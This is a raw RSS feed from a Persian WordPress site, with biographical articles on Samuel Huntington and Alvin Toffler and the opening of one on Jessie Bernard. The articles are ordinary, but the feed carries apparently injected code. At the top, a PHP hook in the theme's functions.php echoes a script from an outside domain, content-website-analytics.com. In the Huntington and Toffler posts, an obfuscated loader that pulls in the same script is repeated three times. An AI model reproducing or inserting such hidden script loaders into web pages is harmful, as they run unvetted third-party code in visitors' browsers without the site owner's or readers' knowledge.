/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>نویسنده &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d9%86%d9%88%db%8c%d8%b3%d9%86%d8%af%d9%87/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 08:00:57 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>نویسنده &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>ساموئل هانتینگتون و نظریه برخورد تمدن ها</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%aa%d9%85%d8%af%d9%86-%d9%87%d8%a7/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%aa%d9%85%d8%af%d9%86-%d9%87%d8%a7/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 21 May 2023 17:25:44 +0000</pubDate>
				<category><![CDATA[چهره ها]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[برخورد]]></category>
		<category><![CDATA[تمدن]]></category>
		<category><![CDATA[جنگ سرد]]></category>
		<category><![CDATA[ساموئل هانتینگتون]]></category>
		<category><![CDATA[فارین پالیسی]]></category>
		<category><![CDATA[نظریه برخورد تمدن ها]]></category>
		<category><![CDATA[نظریه پرداز]]></category>
		<category><![CDATA[نویسنده]]></category>
		<category><![CDATA[هزاره ی سوم]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=7081</guid>

					<description><![CDATA[<p>ساموئل هانتینگتون و نظریه برخورد تمدن ها ساموئل هانتینگتون و نظریه برخورد تمدن ها ؛ ساموئل هانتینگتون هیچگاه عهده دار سمت رسمی دولتی نبوده، ولی از سازمان های دولتی مختلف در آمریکا همواره از همکاری وی به صورت مستقیم و یا غیر مستقیم بهره مند بوده اند. ساموئل هانتینگتون برای نظریۀ برخورد تمدن ها شناخته [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%aa%d9%85%d8%af%d9%86-%d9%87%d8%a7/">ساموئل هانتینگتون و نظریه برخورد تمدن ها</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>ساموئل هانتینگتون و نظریه برخورد تمدن ها</h4>
<p>ساموئل هانتینگتون و نظریه برخورد تمدن ها ؛ ساموئل هانتینگتون هیچگاه عهده دار سمت رسمی دولتی نبوده، ولی از سازمان های دولتی مختلف در آمریکا همواره از همکاری وی به صورت مستقیم و یا غیر مستقیم بهره مند بوده اند. ساموئل هانتینگتون برای نظریۀ برخورد تمدن ها شناخته شده است.</p>
<h6>بیوگرافی ساموئل هانتینگتون</h6>
<p>ساموئل هانتینگتون در سال ۱۹۲۷ در شهر نیویورک و در یک خانواده مهاجر انگلیسی به دنیا آمد. <a href="https://www.britannica.com/biography/Samuel-P-Huntington" target="_blank" rel="noopener noreferrer">او</a> تحصیلات ابتدایی را در این شهر طی کرد و مدارک لیسانس و فوق لیسانس خود را از دانشگاههای ییل و شیکاگو دریافت نمود.</p>
<p>وی در سال ۱۹۵۱ نیز پس از دریافت مدرک دکترای علوم سیاسی از دانشگاه هاروارد به تدریس در این دانشگاه پرداخت و برای مدتی نیز به ریاست دپارتمان های مختلف آن دانشگاه برگزیده شد. هانتینگتون از سال ۱۹۸۹ ریاست مرکز مطالعات استراتژیک دانشگاه هاروارد را عهده دار است.</p>
<p>ساموئل هانتینگتون هیچگاه عهده دار سمت رسمی دولتی نبوده، ولی از سازمان های دولتی مختلف در آمریکا همواره از همکاری وی به صورت مستقیم و یا غیر مستقیم بهره مند بوده اند.</p>
<h6>سوابق اجراییِ ساموئل هانتینگتون</h6>
<p>وی از سال ۱۹۵۲ تا ۱۹۵۳ در سمت دستیار تحقیقات امور دفاعی با موسسه مطالعاتی بروکینگز همکاری داشته و از سال ۱۹۵۴ تا ۱۹۵۷ نیز پژوهشگر شورای تحقیقات علوم اجتماعی آمریکا بوده است.</p>
<p>وی در سال ۱۹۵۸ به مدت یک سال دستیار موسسه مطالعات امور جنگ و صلح در دانشگاه کلمبیا (نیویورک) بود و از سال ۱۹۷۷ تا ۱۹۷۸ نیز با عنوان هماهنگ کننده دفتر طرح و برنامه ریزی شورای امنیت ملی آمریکا با زبیگنیو برژینسکی در کابینه کارتر همکاری داشت.</p>
<p>ساموئل هانتینگتون از سال ۱۹۸۵ تا کنون با سمت تحلیلگر امور دفاعی و استراتژیک، با ارگانهای مختلف دولت آمریکا از جمله وزارت دفاع و وزارت امور خارجه همکاری می کند. هانتینگتون از سال ۱۹۸۶ تا ۱۹۸۷ ریاست انجمن مطالعات علوم سیاسی آمریکا را عهده دار بوده است.</p>
<p>ساموئل هانتینگتون همچنین بنیان گذار مجله فارین پالیسی است واز ۱۹۷۰ تا ۱۹۷۷ سردبیر آن بود. وی در مراکز مهمی چون &#8220;کمیسیون سه جانبه&#8221; عضویت داشته است ، لیکن به دلیل اظهار نظر های افراطی و حمایت از آمریکا در جنگ ویتنام، با عضویت وی در آکادمی علوم آمریکا در سال ۱۹۸۵ مخالفت شد.</p>
<h6>سوابق تحقیقی و آثارِ ساموئل هانتینگتون</h6>
<p>تحقیقات و آثار ساموئل هانتینگتون به طور کامل درباره مسائل آمریکا، به ویژه ابعاد نظامی و استراتژیک آن،سیاست تطبیقی، امنیت ملی و روابط بین الملل است. ارائه رهنمودهای استراتژیک و اجرایی به دولتمردان آمریکا نیز از ویژگی های آثار اوست.</p>
<p>وی به میزان زیاد از رخدادهای سیاسی و بین المللی دهه چهل میلادی که با آغاز جنگ سرد و رقابتهای شرق و غرب همراه بود، تاثیر پذیرفت. هانتینگتون به هنگام شکل گیری اندیشه سیاسیش، آمریکا را در معرض تهدید خارجی ناشی از کمونیسم شوروی می دید و از این رو به حمایت از جناح راست افراطی در مقابل جناح چپ و نهادهای لیبرال آمریکا حمایت کرد.</p>
<p>در این مسیر، وی ضمن پذیرش اندیشه &#8221; محافظه کاری&#8221; به عنوان یک ایدئولوژی، با انتشار مقاله ای در سال ۱۹۵۸ اصول آن را تبیین کرد. به اعتقاد هانتینگتون هرگاه بنیان های جامعه ای در معرض تهدید قرار گیرد، ایدئولوژی محافظه کارانه حکم می کند که افراد آن جامعه افکار و نهادهای لیبرال را رها کرده، با تمام توان به مقابله با آن تهدید برخیزند و از بنیان های جامعه دفاع نمایند. تبلور چنین مکتب فکری و تداوم آن را به وضوح می توان در آثار و موضعگیری های هانتینگتون به صورتهای مختلف مشاهده کرد.</p>
<h6>ساموئل هانتینگتون و دوران جنگ سرد</h6>
<p>در حالی که در دهه پنجاه رقابت های آمریکا و شوروی در صحنه جهانی تشدید می شد و مسائل ناشی از جنگ کره نیز بر جامعه آمریکا سایه افکنده بود، اندیشه محافظه کارانه هانتیگتون، وی را بر آن داشت که به مطالعه سیاست های نظامی آمریکا و رابطه ارتش و جامعه بپردازد.</p>
<p>او با نگارش کتاب سرباز و دولت طرح نهادی شدن نیروهای نظامی و ضرورت تشکیل ارتش حرفه ای را پی ریزی کرد، با این باور که ارتش منظم تنها راه حل ایجاد &#8221; دفاع ملی مناسب&#8221; و کنترل موثر کشور است.</p>
<p>برخی از صاحب نظران مسائل آمریکا در انتقاد از هانتینگتون، کتاب سرباز و دولت را نوعی تلاش برای مشروعیت بخشیدن به نگرانیهای امنیت ملی ملی آمریکا می بینند، آن هم در زمانی که اصلاً تصور نمی رفت که آمریکا قدرت برتر جهان خواهد شد. البته در این بین عده ای نیز کتاب هانتینگتون را به منزله دعوتی برای به نظامی گری تلقی می کنند.</p>
<p>در حقیقت هانتینگتون با شناخت اهمیت قدرت نظامی در دوران بعد از جنگ جهانی دوم، ضرورت دفاع ملی را در مقابل کسانی مطرح می ساخت که با نظامی گری مخالف بودند.</p>
<p>کتاب سرباز و دولت در زمره نخستین تحقیقاتی است که روابط ارتش، جامعه و دولت را مورد پژوهش قرار داده اند و مبداء گشایش باب جدیدی در مطالعات علوم سیاسی و همچنین آغاز گرایش جدی نویسنده آن به مطالعات استراتژیک به شمار می رود.</p>
<p style="text-align: center;"><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter wp-image-7082 size-medium" src="https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization-300x300.jpg" alt="ساموئل هانتینگتون" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2023/05/Samuel-P.-Huntington-Clash-of-civilization.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>نگاهِ استراتژیکِ ساموئل هانتینگتون به جهان و وقایعِ روز</h6>
<p>هانتینگتون تقریباً در تمام آثار خود به مسائل جهانی از منظر استراتژیک و آن هم بر محور منافع آمریکا می نگرد و ذهنمود می دهد. وی در پایان چهار سال همکاریش با مرکز مطالعات جنگ و صلح دانشگاه کلمبیا(نیویورک) ، سومین اثر پژوهشی خود را با عنوان دفاع مشترک : برنامه های استراتژیک در سیاست ملی منتشر ساخت و چگونگی روند شکل گیری سیاستهای نظامی و رفتار سیاسی را تبیین کرد.</p>
<p>وی همچنین در دوران همکاری با دانشگاه کلمبیا به اتفاق یار همراهش زبیگنیو برژینسکی، اثر دیگری را به نام قدرت سیاسی: آمریکا و شوروی منتشر ساخت.در این کتاب، نظامهای سیاسی دو کشور بررسی شده است.</p>
<p>ظاهراً هانتینگتون با انتشار این کتاب، زمینه جدید بررسی تطبیقی نظامهای سیاسی را برای تحقیقات خویش انتخاب کرده و متعاقباً نیز با انجام مسافرت های تحقیقاتی به کشورهای ژاپن،هند، شمال شرقی آسیا و آفریقای شمالی مشخصاً مطالعه تطبیقی نظامهای سیاسی کشورها به ویژه کشورهای جهان سوم و همچنین مشکلات آنها را در مسیر ایجاد نهادهای سیاسی ، بیشتر مورد توجه قرار می دهد و چند سال بعد نیز کتاب نظم سیاسی در جوامع در حال تغییر را نتشر می کند.</p>
<p>کتاب فوق، از مهم ترین و موثرترین آثاری است که در زمینه مطالعه تطبیقی سیاست های کشورها بعد از جنگ دوم، منتشر شده و از جمله کتاب های مرجع در رشته علوم سیاسی  و مطالعه تطبیقی نظامهای سیاسی محسوب می شود. نویسنده در این کتاب، مهم ترین تفاوت سیاسی میان کشورها را در میزان اقتدار آنها می بیند و نه شکل حکومتشان.</p>
<h6>نقشۀ راهِ ساموئل هانتینگتون برای مجریانِ کشورهای در حال تغییر</h6>
<p>به اعتقاد هانتینگتون نظریه پردازان و مجریان نظریه های سیاسی در کشورهای در حال تغییر باید به کارآیی نهادهای سیاسی کشورشان حساس باشند و نه به نوع حکومتی که بر آنها فرمان می راند.</p>
<p>آخرین اثر هانتینگتون موج سوم نام دارد. وی در این کتاب ظهور پدیده دموکراسی به عنوان ویژگی بین المللی دهه ۹۰ را بررسی کرده است. هانتینگتون آثار بسیار دیگری اعم از کتاب و مقاله منتشر کرده که بررسی آنها هدف اصلی این نوشتار نیست لیکن اشاره به این نکته ضروری است که برای هانتینگتون و طرفدارانش، شکست و متلاشی شدن شوروی، موفقیت فلسفه محافظه کاری در سیاست خارجی آمریکا محسوب می شود. وی در پاسخ به این پرسش که <a href="https://en.wikipedia.org/wiki/Clash_of_Civilizations" target="_blank" rel="noopener noreferrer">آیا پایان جنگ سرد را می توان اتمام مناقشات سیاسی، استراتژیک و ایدئولوژیک</a> تفسیر کرد، نظریه &#8220;برخورد تمدن ها&#8221; را مطرح می سازد که فاقد خوش بینی نظریه &#8221; پایان تاریخ &#8221; فوکویاماست.</p>
<h6>منبع و شناسنامۀ نظریه برخورد تمدن ها</h6>
<p>منبع: نظریه ی برخورد تمدن ها، ساموئل هانتینگتون، تهران: مؤسسه ی چاپ و انتشارات وزارت امور خارجه</p>
<ul>
<li>گروه موضوعی ← علوم انسانی</li>
<li>نظریه های ارایه شده ← نظریه برخورد تمدن ها</li>
<li>تاریخ (ارایه نظریه یا بازه زندگی) ← ۱۹۲۷- تا کنون</li>
</ul>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%aa%d9%85%d8%af%d9%86-%d9%87%d8%a7/">ساموئل هانتینگتون و نظریه برخورد تمدن ها</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%aa%d9%85%d8%af%d9%86-%d9%87%d8%a7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ</title>
		<link>https://theorium.net/%d8%a7%d9%84%d9%88%db%8c%d9%86-%d8%aa%d8%a7%d9%81%d9%84%d8%b1-%d8%9b-%d8%a7%d8%b2-%da%a9%d9%88%d8%a8%d9%87-%d8%a2%db%8c%d9%86%d8%af%d9%87-%d9%88-%d8%a7%d9%86%d8%aa%d9%82%d8%a7%d9%84-%d9%82%d8%af%d8%b1/</link>
					<comments>https://theorium.net/%d8%a7%d9%84%d9%88%db%8c%d9%86-%d8%aa%d8%a7%d9%81%d9%84%d8%b1-%d8%9b-%d8%a7%d8%b2-%da%a9%d9%88%d8%a8%d9%87-%d8%a2%db%8c%d9%86%d8%af%d9%87-%d9%88-%d8%a7%d9%86%d8%aa%d9%82%d8%a7%d9%84-%d9%82%d8%af%d8%b1/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 15 Apr 2023 18:02:24 +0000</pubDate>
				<category><![CDATA[چهره ها]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[الوین تافلر]]></category>
		<category><![CDATA[جنگ و ضد جنگ]]></category>
		<category><![CDATA[دانشگاه]]></category>
		<category><![CDATA[سفر]]></category>
		<category><![CDATA[قدرت]]></category>
		<category><![CDATA[کوبه آینده]]></category>
		<category><![CDATA[نظریه پرداز]]></category>
		<category><![CDATA[نویسنده]]></category>
		<category><![CDATA[هزاره ی سوم]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=7010</guid>

					<description><![CDATA[<p>الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ ؛ الوین تافلر در سال ۱۹۲۸ متولد شد. اگرچه تافلر همیشه در سفر بوده است اما تجربه کاری و تحصیلات خود را در ایالات متحده آمریکا به [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d9%84%d9%88%db%8c%d9%86-%d8%aa%d8%a7%d9%81%d9%84%d8%b1-%d8%9b-%d8%a7%d8%b2-%da%a9%d9%88%d8%a8%d9%87-%d8%a2%db%8c%d9%86%d8%af%d9%87-%d9%88-%d8%a7%d9%86%d8%aa%d9%82%d8%a7%d9%84-%d9%82%d8%af%d8%b1/">الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ</h4>
<p>الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ ؛ الوین تافلر در سال ۱۹۲۸ متولد شد. اگرچه تافلر همیشه در سفر بوده است اما <a href="https://www.tofflerassociates.com/" target="_blank" rel="noopener noreferrer">تجربه کاری و تحصیلات</a> خود را در ایالات متحده آمریکا به اتمام رسانده است.</p>
<p>&nbsp;</p>
<h6>الوین تافلر ؛ طی درجات علمی</h6>
<p>او درجات تحصیلی افتخاری نیز کسب کرده و سالها در دانشگاههای کورنل اشتغال داشته است. تافلر در سال ۱۹۶۵ اولین مقاله خود را در مورد &#8221; کوبه آینده&#8221; در مجله افق نوشت. الوین تافلر در سال ۱۹۷۰ به عنوان مشاور در شرکت ای.تی.تی کار می کرد و در همین سال کتاب &#8221; کوبه آینده&#8221; را به چاپ رساند.</p>
<p>&nbsp;</p>
<h6>تألیفات الوین تافلر</h6>
<p>تافلر کتاب بعدی خود را در سال ۱۹۸۰ به نام &#8220;موج سوم&#8221; چاپ کرد. چاپ کتاب دیگر تافلر به نام &#8221; انتقال قدرت&#8221; در سال ۱۹۹۰ بود و کتاب مشهور او به نام جنگ و ضد جنگ در سال ۱۹۹۳ به پایان رسید. تافلر از سال ۱۹۹۶ انجمن تافلر را تاسیس کرد. تافلر در مطالعات و نوشته ها و مقالات خود به هیچ وجه از واژه های &#8221; روند&#8221; و &#8221; پیش بینی&#8221; استفاده نمی کند.</p>
<p>&nbsp;</p>
<h6>نظرات الوین تافلر در بابِ آینده</h6>
<p>او اعتقاد دارد هیچ کس آینده را نمی تواند با قطعیت پیش بینی کند. وی معتقد به دگرگونی و تغییر است و می گوید باید تغییرات را شناخت و درک کرد. این دگرگونیها از دانش، علوم، فناوریها و هنر به وجود می آیند و با استفاده از فرا روشهای تجزیه و تحلیل با اثرات این دگرگونیها می توان آشنا شد.</p>
<p>&nbsp;</p>
<h6>ردِ اندیشۀ الوین تافلر در آثارش</h6>
<p>اگر بخواهیم ارکان اندیشه الوین تافلر را برشماریم می توانیم به موارد زیر اشاره کنیم چرا که اگرچه تافلر تعداد زیادی کتاب نوشته است و مقالات بی شماری را تهیه کرده اما شهرت او در سه عنوان کتابهای زیر است:</p>
<p>۱-&nbsp;&nbsp; &nbsp;کوبه [شوک] آینده چاپ سال ۱۹۷۰</p>
<p>۲-&nbsp;&nbsp; &nbsp;موج سوم چاپ سال ۱۹۸۰</p>
<p>۳-&nbsp;&nbsp; &nbsp;انتقال قدرت چاپ سال ۱۹۹۰</p>
<p>وی معتقد است تفکرهای قدیمی، فرمولهای گذشته، ایدئولوژیهای متعصبانه هرچقدر هم که مفید باشند با حقایق منطبق نیستند. الوین تافلر اعتقاد دارد دخدادها و امواج در هر جامعه ی متناوب است. کشورهای پیشرفته در میان امواج و رخدادهای آینده قرار دارند در حالی که کشورهای در حال توسعه در رخداد امواج قبلی سیر می کنند، اما به هر حال این تغییرات به وقوع می پیوندند:</p>
<ul>
<li>کتاب موج سوم تافلر بر ایده و تفکر &#8221; مشتری گرایی&#8221; در رویارویی تفکر &#8221; توده گرایی&#8221; در ساخت و تولید است. موج سوم در حالی نوشته شد که میلیون ها گونه تولید به بازار عرضه شده بود و ایده &#8221; گونه گرایی&#8221; تولید سیاست اصلی سازنده ها و کارخانجات بود. در حالی که در کتاب موج سوم&#8221; مشتری گرایی&#8221; و احترام به مشتری اصل است.</li>
<li>بر پایه نظریات تافلر روابط کاری تغییر یافته است زیرا پیشرفت های الکترونیکی در ماهیت انجام کار و وظایف تاثیر گذارده است. بنابراین روانشناسی و جامعه شناسی کار نیز تغییر می یابد. در کتاب موج سوم&nbsp; به بازساختاری&nbsp; و یاز سازمانی برای حل مشکلات و مسائل و کشمکشهای روابط انسانی در سازمان که در نتیجه دغدغه مدیران عالی سلسله مراتب ساختار سازمانی، تبعیضات نژادی و جنسی و مذهبی نخواهد بود، بلکه سازش با فناوریهای پیشرفته اطلاعات و ارتباطات است.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-7011" src="https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife-300x300.png" alt="الوین تافلر" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife-300x300.png 300w, https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife-150x150.png 150w, https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife-100x100.png 100w, https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife-120x120.png 120w, https://theorium.net/wp-content/uploads/2023/04/Alvin-Toffler-and-his-wife.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>&nbsp;</p>
<ul>
<li>بازتعریف وظایف سازمانی در پنج سازنده زیر قطعی است.</li>
</ul>
<p>&#8211;&nbsp;&nbsp; &nbsp;تغییر در محیط کاری و بررسی تاثیرات فعالیتهای سازمان در محیط زیست؛</p>
<p>&#8211;&nbsp;&nbsp; &nbsp;تاثیر سازمان و تغییرات ان در عوام لپیرامونی مانند دانشگاهها، مدارس و گروههای حرفه ای؛</p>
<p>&#8211;&nbsp;&nbsp; &nbsp;بررسی تاثیر اطلاعات و نقش آن در تصمیم گیری های مدیران؛</p>
<p>&#8211;&nbsp;&nbsp; &nbsp;تغییر در وظایف و استراتژی های اجرایی دولتها و سازمان های دولتی؛</p>
<p>&#8211;&nbsp;&nbsp; &nbsp;تغییر در سازنده های روانی،اخلاقی، ارزشهای سازمان در ارتباط با خواسته های جامعه.</p>
<p>در نتیجه سازمان های آینده متاثر از سازنده های اکولوژیکی و پیرامونی، اخلاقی، سیاسی، مذهبی، و اجتماعی هستند.</p>
<p>&nbsp;</p>
<h6>تفکرِ الوین تافلر ؛ مستقل اما یکتا</h6>
<p>هر سه کتاب تافلر دارای موضوعهای مستقل هستند اما یک تفکر و اندیشه را ارائه می دهند&#8221; دگرگونی و تغییر&#8221; آنچه که تافلر در سه کتاب خود بحث کرده است در کتاب انتقال قدرت انعکاس دارد. چکیده مطالب او این است که اثرات،تغییرات و دگرگونی ها بر جامعه چیست؟ در کتاب کوبه آینده روند تغییرات بر افراد و سازمانها گفتگو شده است. در کتاب موج سوم جهت تغییرات و اثرات آن بحث شده و در کتاب انتقال قدرت چگونگی کنترل و نظارت بر تغییرات موضوع بحث است.</p>
<p>نگاه تافلر مثبت است و معتقد است تغییرات با هرج و مرج متفاوت است. باید دگرگونی ها را فهمید و در استراتژی ها و راهبردهای خود منعکس کرد، آن وقت است که از صدمات آن در امانیم.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d9%84%d9%88%db%8c%d9%86-%d8%aa%d8%a7%d9%81%d9%84%d8%b1-%d8%9b-%d8%a7%d8%b2-%da%a9%d9%88%d8%a8%d9%87-%d8%a2%db%8c%d9%86%d8%af%d9%87-%d9%88-%d8%a7%d9%86%d8%aa%d9%82%d8%a7%d9%84-%d9%82%d8%af%d8%b1/">الوین تافلر ؛ از کوبه آینده و انتقال قدرت تا جنگ و ضد جنگ</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a7%d9%84%d9%88%db%8c%d9%86-%d8%aa%d8%a7%d9%81%d9%84%d8%b1-%d8%9b-%d8%a7%d8%b2-%da%a9%d9%88%d8%a8%d9%87-%d8%a2%db%8c%d9%86%d8%af%d9%87-%d9%88-%d8%a7%d9%86%d8%aa%d9%82%d8%a7%d9%84-%d9%82%d8%af%d8%b1/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>جسی برنارد ؛ نظریه پردازی با برچسب فمینیست</title>
		<link>https://theorium.net/%d8%ac%d8%b3%db%8c-%d8%a8%d8%b1%d9%86%d8%a7%d8%b1%d8%af/</link>
					<comments>https://theorium.net/%d8%ac%d8%b3%db%8c-%d8%a8%d8%b1%d9%86%d8%a7%d8%b1%d8%af/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 30 Oct 2022 07:03:21 +0000</pubDate>
				<category><![CDATA[چهره ها]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[بیوگرافی]]></category>
		<category><![CDATA[جسی برنارد]]></category>
		<category><![CDATA[خانواده]]></category>
		<category><![CDATA[روابط جنسی]]></category>
		<category><![CDATA[سوروكین]]></category>
		<category><![CDATA[فمینیسم]]></category>
		<category><![CDATA[نظریه پرداز]]></category>
		<category><![CDATA[نویسنده]]></category>
		<category><![CDATA[هزاره ی سوم]]></category>
		<category><![CDATA[واشنگتن]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6702</guid>

					<description><![CDATA[<p>جسی برنارد ؛ نظریه پردازی با برچسب فمینیست جسی برنارد دارای نوعی گنجایش فوق العاده برای رشد و شكوفائی مدام ، در زندگی  بوده است. او مرزهای نوین فكری را یكی پس از دیگری درنوردید. برنارد این فراگرد زندگیش را در مقاله چهار انقلاب من: تاریخ زندگی انجمن جامعه شناسی آمریكا(۱۹۷۴) توصیف كرده است. جسی [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ac%d8%b3%db%8c-%d8%a8%d8%b1%d9%86%d8%a7%d8%b1%d8%af/">جسی برنارد ؛ نظریه پردازی با برچسب فمینیست</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h5>جسی برنارد ؛ نظریه پردازی با برچسب فمینیست</h5>
<p>جسی برنارد دارای نوعی گنجایش فوق العاده برای رشد و شكوفائی مدام ، در زندگی  بوده است. او مرزهای نوین فكری را یكی پس از دیگری درنوردید.</p>
<p>برنارد این فراگرد زندگیش را در مقاله چهار انقلاب من: تاریخ زندگی انجمن جامعه شناسی آمریكا(۱۹۷۴) توصیف كرده است.</p>
<p>جسی برنارد در این مقاله و كار اخیرش آخرین انقلابش را به عنوان جنبشی به سوی فمینیسم معاصر یا آنچه كه خود در نهایت روشن اندیشی فمینیستی می نامد، قلمداد كرده است .</p>
<p>با پیگیری حركت برنارد به سوی مشاركت در روشن اندیشی فمینیستی، می توان تاریخ مشاركت زنان را در جامعه شناسی سده بیستم آمریكا بازنگری كرد.</p>
<p>جسی برنارد در هشتم ژوئن ۱۹۰۳ با نام جسی راویج در مینیاپولیس زاده شد.</p>
<p>نخستین رشد مهم زندگی او حركت از یك خانواده مهاجر كلیمی به دانشگاه مینه سوتا در سن ۱۷ سالگی بود.</p>
